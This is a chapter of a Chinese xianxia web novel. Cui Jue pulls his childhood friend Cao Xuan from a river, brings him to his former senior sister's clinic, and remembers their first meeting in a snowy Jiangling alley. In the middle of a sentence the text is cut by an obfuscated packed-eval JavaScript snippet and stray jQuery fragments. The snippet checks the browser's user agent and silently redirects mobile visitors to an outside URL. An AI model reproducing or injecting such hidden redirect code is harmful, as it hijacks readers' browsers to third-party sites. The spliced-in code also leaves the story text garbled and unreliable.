好在崔珏并没有走错方向,他沿着小路走了整整一夜,远远地看见山下有一座小镇子。镇子隐匿在山林之中,规模并不大。
眼下并未到城门开放的时候,崔珏算了算时间准备在附近整理一下。他蹲在河边洗了把手,正准备把脸也洗洗的时候,突然看见河上漂浮着一人。
崔珏嘴里浮起淡淡的恶心感。近一天没吃东西,他当然也吐不出什么。崔珏并非没有见过死人,但在水里泡久了的他还真没见过。
崔珏转身要走,但一想到崔氏的祖训,又停了脚步。
第一任崔氏家主上山学艺时,学得是符箓。游走到浔阳后,觉得此地风水不错便留下来开宗立派。
符箓的作用之一就是度济他人。简单说就是解救死者灵魂,让其早点投胎。这也算崔氏子弟必学的一门课程,年年下山历练几乎都会遇到百姓请他们帮忙做法事。
死在水中的人大多对这个世界还留有执念,若执念过重会危及人间。如果崔珏今天真要离开的话,日后被他人知道,定会被戳着脊梁骨骂。
崔珏从旁边捡了根稍长的杆子将人拉了过来。眼前的人身穿蓝衣,身佩银饰,虽然满脸血污,但崔珏就算死了也不会忘记这张脸的。
“曹玄?!”崔珏紧忙将人从河中拖上来,他扶着曹玄肩膀晃了晃,见人没反应又探了鼻息。幸好人还是活的,崔珏松了口气,将人扛在肩上,向镇子上赶去了。
卯时三刻。城门只打开了一条小缝,崔珏顾不上礼貌,挤进去冲着门吏问道:“请问您知道这附近的医馆在哪吗?”
门吏大概也没想到这么早就有人进城,他向崔珏索要进城文书。可是文书早在与白衣男子的打斗中损坏了,崔珏抿了抿嘴。
这时,旁边的门候看到崔珏身上的玉牌。立刻将门吏推到一边去,恭敬问道:“您是浔阳少主吗?”
玉牌是崔禹送给他的生辰礼。崔珏喜欢鱼,除了在家里养,得了空还要去大河小溪中钓鱼,这玉牌的样子自然是按照他喜欢的样式打造的。玉牌通体呈长圆形,上下缀缉珠,一面光滑,一面则刻有鱼纹、莲纹,加上崔宁的那块合称飞鸟游鱼对佩。
崔珏此番出行并不想有人认出自己,但顾及曹玄受伤,他还是点了点头。
门候的眼神不留痕迹地从曹玄身上滑过,传说中的浔阳少主性格孤僻、不善言辞,怎么感觉眼前的人不太像啊?思虑过后,他扬手:“我带您去医馆吧。”
崔珏跟着男人弯弯绕绕走了一里路,终于在一条小巷子里看到间门口插了荷叶的小馆子。
门候往旁边退了一步,拱手道:“前面就是医馆,少主,我还有事,就先告辞了。”
崔珏道了句谢,将曹玄往背上送了送,拽着门环在铺首上敲了敲,“请问有人吗?”
一道很年轻的声音传了出来,“等等。”
片刻后,门打开了。
一个妙龄女子出现在崔珏眼前,对方打扮极为清雅,只抹了点淡淡的口脂。满头乌发束成当下流行的抱面高髻式,额头中心有一黄色的花钿,腰间佩有一香囊,肩上系了条青色的帔子,浅色的齐胸襦裙虽素,反倒平添另一种风味。
女子本想道“催什么催”,但见到崔珏,语调突转,“你是……小珏?”
说话间,她已经扯掉了面纱。
崔珏瞪圆了眼睛,紧绷的神经松懈下来,“成玉师姐!”
成玉,从前是崔珏的二师姐。后来退出浔阳崔氏了,一别多年,崔珏竟然不知道她就在虔州。
成玉侧开身子,往崔珏背后瞅了一眼,“这是你小时候的那个朋友吗?在江陵的那个。”
曹玄是崔珏在江陵游玩的时候认识的。当时正值冬日,崔氏一大家子去走亲访友,崔珏刚被崔禹骂过心里正憋着气呢,一个没注意人就跑没影了。
崔珏自己也是第一回来江陵,身上穿金戴银的,又生得秀气,谁见了不以为这是个好拿捏的?果不其然,刚跑没两步就被小混混逮住了。
崔珏手无长物,硬生生的被几个人逼到角落里。他喝道:“让开!你们知道我是谁吗?”
打头的那个小混混摸了摸下巴,转头和身边人笑笑,“我管你是谁,赶紧把钱拿来,不然我就把你卖到窑子里!”
崔珏哪里知道窑子是什么东西,他还要还嘴,身后却传来另一个男孩的声音:“吵死了。”
一个穿得破破烂烂的男孩不知道从哪冒出来的,他脸上还有灰,捡起旁边的石头往几个混混身上一砸。又回头朝旁边一喊:“叔叔,有人在家门口闹事。”
几个混混说到底只比崔珏大个两三岁,哪里经得起风浪。见里面真的传来动静,纷纷撒丫子四处逃窜。
崔珏盯着眼前这个衣服单薄的男孩,眼神里是止不住的好奇。
男孩看都没看崔珏,继续钻到旁边的破草席上睡下。
天寒地冻,外面还在下小雪。崔珏忍不住哈了口气,又搓了搓手。他忽然发现男孩那里似乎可以避风,想了一会,崔珏索性蹲到那里去。为表示自己不白占位置,他脱下斗篷,分了一半给男孩。
等到头上的雪积了一小块,男孩才迷蒙地睁开眼。白茫茫的天空,雪粒落在脸上,凉丝丝的。本该像往常一样冷的天,眼下却温暖不少。男孩翻了个身,只见一个金枝玉叶的少爷蹲在他旁边,脑袋缩在腿上,像个木墩子。
他见崔珏眼睛都冻得睁不开了。第一反应是嘲笑,然后才把人弄醒,“喂?你谁啊?睡这里干嘛?”
崔珏身上虽然还有另一层袄子,但他从来没这么窘迫过。而眼前的人身上只有一件单衣,崔珏自然不好借自己冷的理由把斗篷拿回来,可动作是出卖不了他的。
男孩将衣服丢给崔珏,又催促道:“说话啊。”
“你刚才问什么了?”崔珏都冻得有些迷糊了,他换了个姿势准备继续睡。男孩又推搡他一把。崔珏可不是个好脾气的,更何况没睡饱。
崔珏不甘示弱地推了回去,“干什么!”富贵人家长大的孩子,自然不知道什么是收着力气,毕竟怎么样都有家里兜底。
男孩摔了个结实,手臂都擦出了道道血痕。他也不哭不闹,只是静静地看着崔珏。崔珏没想到有人受伤后是这个反应,一种心虚无措感涌入他的心里。
崔珏犹豫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781547|210116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两秒,弯腰把手递给男孩,“对不起,我不是故意的。”他看了眼没什么表情的男孩,“是你先推我的。”
男孩轻拍了一下崔珏的手,自己撑着地站了起来。他什么也没说,低着头去整理自己的草席。
这样子的氛围反倒让崔珏更加不知所措,他偏过头去看男孩的脸色,又跑到他之前喊的那户人家里,“你家在这里,为什么还要睡在外面?”
男孩抱着草席转身就走:“那不是我家,我骗他们的。”
这个问题显然不在崔珏的思考范围内,“你没有家?”他亦步亦趋地跟在男孩后面,“怎么会有人没有家呢,你是不是不记得家在哪里了?”
男孩停住脚步,他没有回答崔珏的问题,而是反问道:“你是因为不记得自己家在哪里所以一直跟着我?”
崔珏见自己的心思被拆穿了,“也不是,我家不在这,我和家人走散了。”
“那你跟我来吧。”
“去哪?”
“官府。”
男孩自始至终都表现得很平静,他抱着自己的破草席带着崔珏来到了繁华的中央大街。一刻钟后,雪已经下得有半只鞋子那么高了。
浔阳崔氏的旗帜很宽大,崔珏拐过一个弯后就看见了他家的旗帜,他兴奋地指着那面旗道:“那是我家的!”
男孩抬头看去,当真是好大一面旗。明黄色的布面上绣了金莲纹,栩栩如生。正中心有一个大大的纂体“崔”字,外有一圈缘边。
人带到了,男孩又要走。
崔珏蹙眉,喝止住对方:“喂,你去哪里?”
“回去睡觉。”男孩将破草席往上送了送。
“那个巷子里?难不成你想冻死吗?”崔珏语速很快,好像生怕被反驳一样,他转身要去叫人。
崔珏一回头,见人又走了,急忙跑回来,抓着男孩胳膊,一副苦口婆心的模样,“我和你说话你干嘛不听?”
为防止男孩再跑,崔珏也不动了,他扯着嗓子大喊:“河清!河清!”小孩子的声音穿透力强,没一会,一个十几岁的男孩就跑到了崔珏跟前,他脸上又惊又喜。
“少主你怎么在这呀,我们找你找了好久呢。”
崔珏拉着男孩道:“把他带回我们家去,就当我们家的弟子吧。”
浔阳崔氏和其他世家不太一样,这个世家有超过一半的子弟都为外姓,而这群外姓子弟中又有五分之二是外面捡回来的。所以崔珏压根不觉得收一个人去他家有什么。
河清看了眼男孩,提醒道:“可以带回去,但是要看有没有修行的天资,如果没有可能就不能留在望仙,而是要留在城中了。”
城中指的是浔阳城,崔氏给那些没有仙缘的孩子开了个收容所,就算不修行去读书学门手艺也是好的,再不济在崔氏的领地上打打杂,或者和崔禹一起从事贸易,总归是有个出路。
崔珏点点头,他让河清去把马车拉过来,又转头问男孩:“你叫什么名字?”
男孩脸上没有半分自己要被收留了的喜悦,“曹玄曹子陵。”
崔珏似乎有些激动,“我叫崔珏,字伯节。”